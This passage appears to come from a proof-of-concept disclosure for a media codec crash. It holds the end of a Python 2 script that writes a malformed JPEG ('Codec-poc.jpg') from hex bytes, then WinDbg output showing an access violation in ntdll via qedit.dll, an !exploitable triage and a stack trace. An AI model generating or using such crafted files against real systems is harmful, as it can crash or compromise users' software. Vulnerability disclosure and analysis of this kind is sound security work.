00\xD3\x74\x31\x62\xDB\x05\x25\x74\x1A\xF6\xAA\xF1\xBC\x55\x22\x97\x74\x23\x1A\x4C\x9E\x91\x34\x16\x78\x01\xC1\x23\x0A\xDE\xB1\xEF\xB6\x64\x02\xB7\x76\x21\x61\xCF\x38\xF4\x4E\x96\x83\x44\x0D\x09\xE7\x2C\x02\xA1\x77\xA6\x88\x0E\x01\x82\x60\x02\x6E\x9A\xDF\x83\xDB\x81\x8C\x5B\x92\x14\x47\x62\x92\xF5\x90\xEA\xA6\x88\xA1\x79\x42\x2A\x34\xE9\x95\x75\xA5\xA6\xCC\x27\x00\x7D\xE5\xD1\x29\x16\x3A\xFC\x87\xF1\x85\x51\x44\xF6\x9E\xB0\x48\x34\x04\x59\xC6\x69\x80\x2E\x4E\xBE\x33\x74\xD1\xB6\xCB\xB7\x05\x73\xD5\x7D\xCD\x9F\x96\x9F\x53\xD8\x7F\xC5\x02\x7C\xB6\xBF\xF8\x99\xC6\x69\xF2\xAF\x2B\x7E\xDE\xF3\x80\xF8\x3D\xBE\x59\xC9\x78\xFD\x9F\x03\xBF\xEF\x3F\xE7\x3B\x75\xF4\x73\xDC\xE3\x79\xF0\x1B\xFF\x00\x76\x7B\x7A\x31\xE1\x59\xF3\x62\x4E\x5F\x6D\x4B\x73\xFC\x7A\xEF\xFD\xC7\x79\xC0\x7F\xB0\xAB\x3F\xD4\x78\x64\x7E\x76\xFA\xEF\xF8\xD5\xB9\xFD\x99\xF7\x0F\x1B\xF6\xF3\x9E\x81\xF8\xCF\xDF\x0F\xE0\x2E\xDC\xBF\xBE\x70\xDD\xB3\x53\xCF\xD7\x3C\xF7\xF5\x73\xC3\xFA\xFC\x22\x76\xFA\x5F\x96\x7F\x17\x96\xD5\xD7\xA7\xB3\x6B\xB9\x9E\x99\xF8\x96\xFF\x00\x57\xA9\x9F\x7B\xF4\xDD\xBF\x8F\xED\xFD\x3E\xE7\xE7\xF8\x9C\xFF\xD9" outfile = file("Codec-poc.jpg", 'wb') outfile.write(value) outfile.close() print "Created Poc" windbg result: 0:000> g ModLoad: 629c0000 629c9000 C:\WINDOWS\system32\LPK.DLL ModLoad: 74d90000 74dfb000 C:\WINDOWS\system32\USP10.dll ModLoad: 10000000 1002e000 C:\PROGRA~1\SearchProtect\SearchProtect\bin\SPVC32Loader.dll ModLoad: 10000000 10011000 C:\Program Files\Bench\BService\bhelper.dll ModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\NETAPI32.dll ModLoad: 74720000 7476c000 C:\WINDOWS\system32\MSCTF.dll ModLoad: 755c0000 755ee000 C:\WINDOWS\system32\msctfime.ime ModLoad: 01880000 01b45000 C:\WINDOWS\system32\xpsp2res.dll ModLoad: 76f50000 76f58000 C:\WINDOWS\system32\wtsapi32.dll ModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll ModLoad: 01e50000 02011000 C:\Program Files\K-Lite Codec Pack\Media Player Classic\mpciconlib.dll ModLoad: 017c0000 017c8000 C:\Program Files\Internet Download Manager\idmmkb.dll ModLoad: 76360000 76370000 C:\WINDOWS\system32\winsta.dll ModLoad: 76fd0000 7704f000 C:\WINDOWS\system32\CLBCATQ.DLL ModLoad: 77050000 77115000 C:\WINDOWS\system32\COMRes.dll ModLoad: 74810000 7497d000 C:\WINDOWS\system32\quartz.dll ModLoad: 75f40000 75f51000 C:\WINDOWS\system32\devenum.dll ModLoad: 77920000 77a13000 C:\WINDOWS\system32\setupapi.dll ModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dll ModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dll ModLoad: 736b0000 736b7000 C:\WINDOWS\system32\msdmo.dll ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d20000 72d29000 C:\WINDOWS\system32\wdmaud.drv ModLoad: 72d10000 72d18000 C:\WINDOWS\system32\msacm32.drv ModLoad: 77be0000 77bf5000 C:\WINDOWS\system32\MSACM32.dll ModLoad: 77bd0000 77bd7000 C:\WINDOWS\system32\midimap.dll ModLoad: 60ca0000 60d2c000 C:\WINDOWS\system32\qedit.dll ModLoad: 75a70000 75a91000 C:\WINDOWS\system32\MSVFW32.dll ModLoad: 763b0000 763f9000 C:\WINDOWS\system32\comdlg32.dll ModLoad: 73b30000 73b45000 C:\WINDOWS\system32\mscms.dll (1fb0.1dc0): Unknown exception - code 00000000 (first chance) (1fb0.1dc0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000001 ebx=01fdd008 ecx=7ffdb000 edx=003e0608 esi=003e0000 edi=01fdd000 eip=7c96d811 esp=01d4f5ec ebp=01d4f64c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 ntdll!RtlpNtMakeTemporaryKey+0x7d45: 7c96d811 0fb707 movzx eax,word ptr [edi] ds:0023:01fdd000=???? 0:004> .load winext/msec.dll 0:004> !exploitable !exploitable 1.6.0.0 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll - *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\qedit.dll - *** WARNING: Unable to verify timestamp for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - Exploitability Classification: UNKNOWN Recommended Bug Title: Data from Faulting Address is used as one or more arguments in a subsequent Function Call starting at ntdll!RtlpNtMakeTemporaryKey+0x0000000000007d45 (Hash=0xc7e5b6ca.0x7d7ebe9a) The data from the faulting address is later used as one or more of the arguments to a function call. 0:004> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 01d4f64c 7c949e1c ntdll!RtlpNtMakeTemporaryKey+0x7d45 01d4f734 7c927553 ntdll!LdrAlternateResourcesEnabled+0x33bd 01d4f804 77c2c2de ntdll!RtlOemStringToUnicodeString+0xee 01d4f84c 60cd08bc msvcrt!free+0xc3 01d4f860 60cd1f38 qedit!DllRegisterServer+0x20cff 01d4f880 60cb2ee9 qedit!DllRegisterServer+0x2237b 01d4f894 60cc38b1 qedit!DllRegisterServer+0x332c 01d4f8a0 004dfe58 qedit!DllRegisterServer+0x13cf4 01d4f954 004e1cb5 image00400000+0xdfe58 01d4fa10 00520659 image00400000+0xe1cb5 01d4fd74 00526383 image00400000+0x120659 01d4fe34 004facf0 image00400000+0x126383 01d4fe58 006f7708 image00400000+0xfacf0 01d4fe74 006f73a8 image00400000+0x2f7708 01d4fe88 006f78d5 image00400000+0x2f73a8 01d4fe94 006f749b image00400000+0x2f78d5 01d4fea0 006f744c image00400000+0x2f749b 01d4fecc 006f7c22 image00400000+0x2f744c 01d4ff70 008191a7 image00400000+0x2f7c22 01d4ffa8 008192cf image00400000+0x4191a7 01d4ffb4 7c80b713 image00400000+0x4192cf 01d4ffec 00000000 kernel32!GetModuleFileNameA+0x1b4